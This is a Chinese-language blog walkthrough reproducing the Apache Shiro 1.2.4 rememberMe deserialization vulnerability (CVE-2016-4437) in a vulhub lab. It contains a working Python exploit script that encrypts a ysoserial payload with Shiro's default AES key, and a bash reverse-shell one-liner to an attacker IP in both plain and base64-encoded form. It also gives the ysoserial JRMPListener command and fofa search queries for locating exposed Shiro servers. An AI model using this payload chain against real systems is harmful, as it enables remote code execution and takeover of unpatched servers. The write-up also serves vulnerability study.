0X00-引言
服从让我们撑过白天,而投入才能让我们撑过夜晚。------丹尼尔·平克《驱动力 3.0》
0X01-环境搭建
靶机:CentOS Linux 7
攻击机:windows server 2016 && Kail
环境:vulhub
工具:ysoserial,burpsuite,LiqunKit
项目地址:https://github.com/vulhub/vulhub
搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)
fofa语法:
header="rememberme=deleteMe"、header="shiroCookie"
0X02-漏洞描述
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序可以推断出解密的顺序为获取cookie-base64解码-AES解密-反序列化。
AES加密的KEY值被硬编码在代码中,可以从源码中找到KEY值。攻击者可以构造恶意代码,将其序列化-AES加密-base64编码,最后作为cookie值得rememberMe字段发送,shiro将接收到的rememberMe字段进行解码-解密-反序列化,如果成功,则执行恶意代码,构成攻击。
影响版本:Apache Shiro <= 1.2.4
0X03-工具下载
01-安装mvn命令
wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz #下载maven安装包
tar -zxvf apache-maven-3.5.4-bin.tar.gz #解压maven安装包
mv apache-maven-3.5.4 /usr/local/ #移动到usr下local目录
配置环境变量,在底部添加如下配置
vim /etc/profile
export MAVEN_HOME=/usr/local/apache-maven-3.5.4
export PATH=${PATH}:$MAVEN_HOME/bin
重新加载环境变量
source /etc/profile
可能会生成一个新终端,如图,
检查是否安装成功
mvn -v
终端不要关闭,先保持不动
02-安装ysoserial工具
另起一个新终端
mkdir Apacheshiro #创建新目录
git clone https://github.com/frohoff/ysoserial.git #下载ysoserial
在上一个终端里进入ysoserial文件夹
执行以下命令-等待结束
mvn package -D skipTests
生成工具
03-准备shiro.py
将shiro.py与生成的工具放在同一目录下
shiro.py源码:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES #pip install pycryptodome
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout = subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
0X04-漏洞复现
http://192.168.234.128:8080/doLogin
01-查看是否存在shiro反序列化漏洞
burp抓包-repeater发包-看回显-响应头存在rememberMe字段-存在shiro反序列化漏洞
02-准备好反弹shell的命令
反弹shell命令:bash -i >& /dev/tcp/192.168.234.135/12345 0>&1
加密网址:https://www.jackson-t.ca/runtime-exec-payloads.html
加密之后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMzUvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}
03-kali执行命令
在生成工具与shiro.py所在的目录下执行
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMzUvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}’
注意反弹shell命令的单引号。需要在kali中重新输入单引号
执行脚本
python shiro.py 192.168.234.135:1234#192.168.234.135为攻击机IP#1234为ysoserial-0.0.6-SNAPSHOT-all.jar工具监听的端口,与反弹shell的命令端口不同,我的工具监听与nc反弹shell在同一台kali机器
生成poyload
04-反弹shell
kali另起已终端,打开nc监听
burp抓包-repeater修改
发送
ysoserial工具监听到信息-已上传至服务器
但是nc没有反弹shell-不知道原因
05-直接进入容器执行反弹shell命令
容器内执行发现可以回弹shell正常。对比之下我也找不到上面反弹shell失败的原因😯
0X05-工具利用
工具地址:https://github.com/Liqunkit/LiqunKit_
01-反弹shell
成功
还是工具好用,手动复现半天,工具一分钟反弹shell,淦😂
0X06-参考
Apache Shiro反序列化漏洞复现并利用(CVE-2016-4437)
Apache Shiro 反序列化(CVE-2016-4437)复现
linux 安装 maven 、解决:bash: mvn: command not found
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现